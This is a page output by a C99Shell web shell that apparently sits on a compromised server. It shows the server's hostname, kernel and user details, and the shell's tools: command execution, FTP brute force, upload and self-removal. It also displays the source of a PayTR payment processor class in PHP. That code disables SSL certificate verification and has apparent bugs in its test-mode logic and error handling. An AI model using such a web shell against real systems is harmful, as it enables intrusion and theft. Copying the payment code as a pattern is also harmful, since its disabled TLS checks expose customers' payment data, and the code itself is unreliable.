!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Paytr/Processor/   drwxr-xr-x
Free 27.26 GB of 117.98 GB (23.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaytrProcessor.php (10.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package PaytrProcessor
 * @author techvillage <support@techvill.org>
 * @contributor Md. Mostafijur Rahman <[mostafijur.techvill@gmail.com]>
 * @created 06-04-23
 */

namespace Modules\Paytr\Processor;

use 
Modules\Gateway\Services\GatewayHelper;
use 
Modules\Paytr\Response\PaytrResponse;
use 
Modules\Paytr\Entities\Paytr;
use 
Modules\Gateway\Contracts\{
    
PaymentProcessorInterface,
    
RequiresCallbackInterface,
    
RequiresCancelInterface,
    
RequiresWebHookValidationInterface
};
use 
Modules\Gateway\Entities\PaymentLog;

class 
PaytrProcessor implements PaymentProcessorInterfaceRequiresWebHookValidationInterfaceRequiresCallbackInterfaceRequiresCancelInterface
{
    
/**
     * Paytr credentials 
     *
     * @var Object/array
     */
    
private $paytr;

    
/**
     * Gateway helper instance
     *
     * @var [type]
     */
    
private $helper;

    
/**
     * Customer email
     *
     * @var String
     */
    
private $email;

    
/**
     * Paytr sending payload
     *
     * @var Array
     */
    
private $payload;

    
/**
     * Customer purchase data
     *
     * @var Object/Array
     */
    
private $purchaseData;

    
/**
     * Paytr token
     *
     * @var String
     */
    
public $token;

    
/**
     * Paytr request url
     *
     * @var String
     */
    
private $requestUrl;

    
/**
     * Customer address
     *
     * @var String
     */
    
private $userAddress;

    
/**
     * Customer phone number
     *
     * @var String
     */
    
private $userPhone;

    
/**
     * Customer name
     *
     * @var String
     */
    
private $username;

    
/**
     * Order id
     *
     * @var String
     */
    
private $merchantOid;

    
/**
     * Payment success url
     *
     * @var String
     */
    
private $successUrl;

    
/**
     * Payment fail url
     *
     * @var String
     */
    
private $failUrl;

    
/**
     * User ip address
     *
     * @var String
     */
    
private $userIp;

    
/**
     * Paytr time out limit
     *
     * @var integer
     */
    
private $timeout;

    
/**
     * Paytr debug mode
     *
     * @var integer
     */
    
private $debug 1;

    
/**
     * Paytr payment mode (test mode or production mode)
     *
     * @var integer
     */
    
private $testMode 0;

    
/**
     * order contents
     *
     * @var string
     */
    
private $userBasket;

    
/**
     * Undocumented variable
     *
     * @var integer
     */
    
private $noInstallment 1;

    
/**
     * Maximum number of installments
     *
     * @var integer
     */
    
private $maxInstallment 0;

    
/**
     * Hash data for paytr
     *
     * @var String
     */
    
private $hashString;

    
/**
     * Encrypted token
     *
     * @var string
     */
    
private $paytrToken;

    
/**
     * Payment amount
     *
     * @var integer
     */
    
private $total;


    
/**
     * Paytr processor constructor
     * 
     * @return void
     */
    
public function __construct()
    {
        
$this->helper GatewayHelper::getInstance();
        
$this->paytr Paytr::firstWhere('alias'config('paytr.alias'))->data;
        
$this->purchaseData $this->helper->getPurchaseData($this->helper->getPaymentCode());
    }

    
/*
    *   GENERATE PRIVACY HASH CODE
    */
    
public function generateHashCode()
    {
        
$this->hashString implode("", [
            
$this->paytr->merchantId,
            
$this->userIp,
            
$this->merchantOid,
            
$this->email,
            
$this->total,
            
$this->userBasket,
            
$this->noInstallment,
            
$this->maxInstallment,
            
$this->purchaseData->currency_code,
            
$this->testMode,
            
$this->paytr->merchantSalt
        
]);
    }

    
/**
     * Set paytr token
     *
     * @return void
     */
    
public function setPaytrToken()
    {
        
$this->paytrToken base64_encode(techHash($this->hashString$this->paytr->merchantKey));
    }


    
/**
     *  Generate random unique key
     *
     * @return key
     */
    
public function randomKeyGenerate()
    {
        return 
substr(str_shuffle("0123456789abcdefghijklmnopqrstvwxyz"), 050);
    }

    public function 
requestPaytr($postValues false)
    {
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL$this->requestUrl);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_POST1);
        
curl_setopt($chCURLOPT_POSTFIELDS$postValues);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
        
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
        
curl_setopt($chCURLOPT_FRESH_CONNECTtrue);
        
curl_setopt($chCURLOPT_TIMEOUT20);
        
$result = @curl_exec($ch);
        if (
curl_errno($ch)) {
            
curl_close($ch);
            return 
curl_error($ch);
        } else {
            
curl_close($ch);
            return 
$result;
        }
    }

    
/**
     *  Set initials data
     *
     * @return void
     */
    
private function setupData()
    {

        
$this->successUrl route(techDecrypt(request()->to), withOldQueryIntegrity());
        
$this->failUrl route('gateway.cancel'withOldQueryIntegrity(['gateway' => 'paytr']));
        
$this->merchantOid $this->randomKeyGenerate();
        
$this->userIp getIpAddress();
        
$this->total intval($this->purchaseData->total 100);
        
$this->timeout 30;
        
$this->setEnvironment();
        
$this->setBasket();
    }


    
/**
     *  Set payload data
     *
     * @return void
     */
    
private function setPayload()
    {
        
$this->payload = [
            
'merchant_id'        => $this->paytr->merchantId,
            
'user_ip'            => $this->userIp,
            
'merchant_oid'       => $this->merchantOid,
            
'email'              => $this->email,
            
'payment_amount'     => $this->total,
            
'paytr_token'        => $this->paytrToken,
            
'user_basket'        => $this->userBasket,
            
'debug_on'           => $this->debug,
            
'no_installment'     => $this->noInstallment,
            
'max_installment'    => $this->maxInstallment,
            
'user_name'          => $this->username,
            
'user_address'       => $this->userAddress,
            
'user_phone'         => $this->userPhone,
            
'merchant_ok_url'    => $this->successUrl,
            
'merchant_fail_url'  => $this->failUrl,
            
'timeout_limit'      => $this->timeout,
            
'currency'           => $this->purchaseData->currency_code,
            
'test_mode'          => $this->testMode
        
];
    }


    
/**
     * Ajax payment
     *
     * @param object $request
     * @return payment view
     */
    
public function pay($request)
    {
        if (!
$request->name) {
            throw new 
\Exception(__('Name is required.'));
        }

        
$this->username $request->name;

        if (!
$request->email) {
            throw new 
\Exception(__('Email is required.'));
        }

        
$this->email $request->email;

        if (!
$request->phone) {
            throw new 
\Exception(__('Phone number is required.'));
        }

        
$this->userPhone $request->phone;

        if (!
$request->address) {
            throw new 
\Exception(__('Address is required.'));
        }

        
$this->userAddress $request->address;
        
$this->setupData();
        if (!
$this->isSupportCurrency()) {
            throw new 
\Exception(__('The selected currency is not supported by this merchant.'));
        }
        
        
$this->generateHashCode();
        
$this->setPaytrToken();
        
$this->setPayload();
        
$result $this->requestPaytr($this->payload);
        
$result json_decode($result1);
        if (
$result['status'] != 'success') {

            throw new 
\Exception($result['reason']);
        }
        
$response = new PaytrResponse($this->purchaseData$result);
        
$response->setUniqueCode($this->merchantOid);
        
$response->setPaymentStatus('pending');

        return 
$response;
    }


    
/**
     * Validate Transaction
     *
     * @param Request $request
     * @return PaytrResponse
     */
    
public function validateTransaction($request)
    { 
        return new 
PaytrResponse($this->purchaseData$request);
    }


    
/**
     * Cancel Payment
     *
     * @param object $request
     * @return void
     */
    
public function cancel($request)
    {
        throw new 
\Exception(__('Payment cancelled from Paytr.'));
    }


    
/**
     * Set environment
     *
     * @return void
     */
    
private function setEnvironment()
    {
        if (!
$this->paytr->sandbox) {
            
$this->testMode 1;
            
$this->debug 0;
        }

        
$this->setUrl();
    }


    
/**
     * Set Urls
     *
     * @return void
     */
    
private function setUrl()
    {
        
$this->requestUrl "https://www.paytr.com/odeme/api/get-token";
    }

    
/*
    * Set user basket(product) info
    *
    * @return void
    */
    
public function setBasket()
    {
        
$this->userBasket base64_encode(json_encode(array(
            array(
$this->purchaseData->code$this->total1),
        )));
    }

    
/**
     * Check currency support or not
     *
     * @return boolean
     */
    
private function isSupportCurrency()
    {
        return 
in_array(strtoupper($this->purchaseData->currency_code), config('paytr.supportCurrencies'));
    }

    public function 
validatePayment($request)
    {
        
$hash base64_encode(techHash($request->merchantOid $this->paytr->merchant_salt $request->status $request->total_amount$this->paytr->merchant_key));

        if (
$hash == $request->hash && $request->status == 'success') {

            
$payment PaymentLog::uniqueCode($request->externalId)->first();

            if (!
$payment) {
                
paymentLog($request);
                
paymentLog('------ Payment data with the requested paytr unique code ("field: custom") -------');
                return 
false;
            }

            
$payment->response_raw json_encode($request->all());

            if (
$request->status == 'success') {

                
$payment->status 'completed';
                
$payment->response json_encode($request->all());
            } else {
                
$payment->status 'cancelled';
            }

            
$payment->store();

            return 
true;
        }
        return 
false;
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--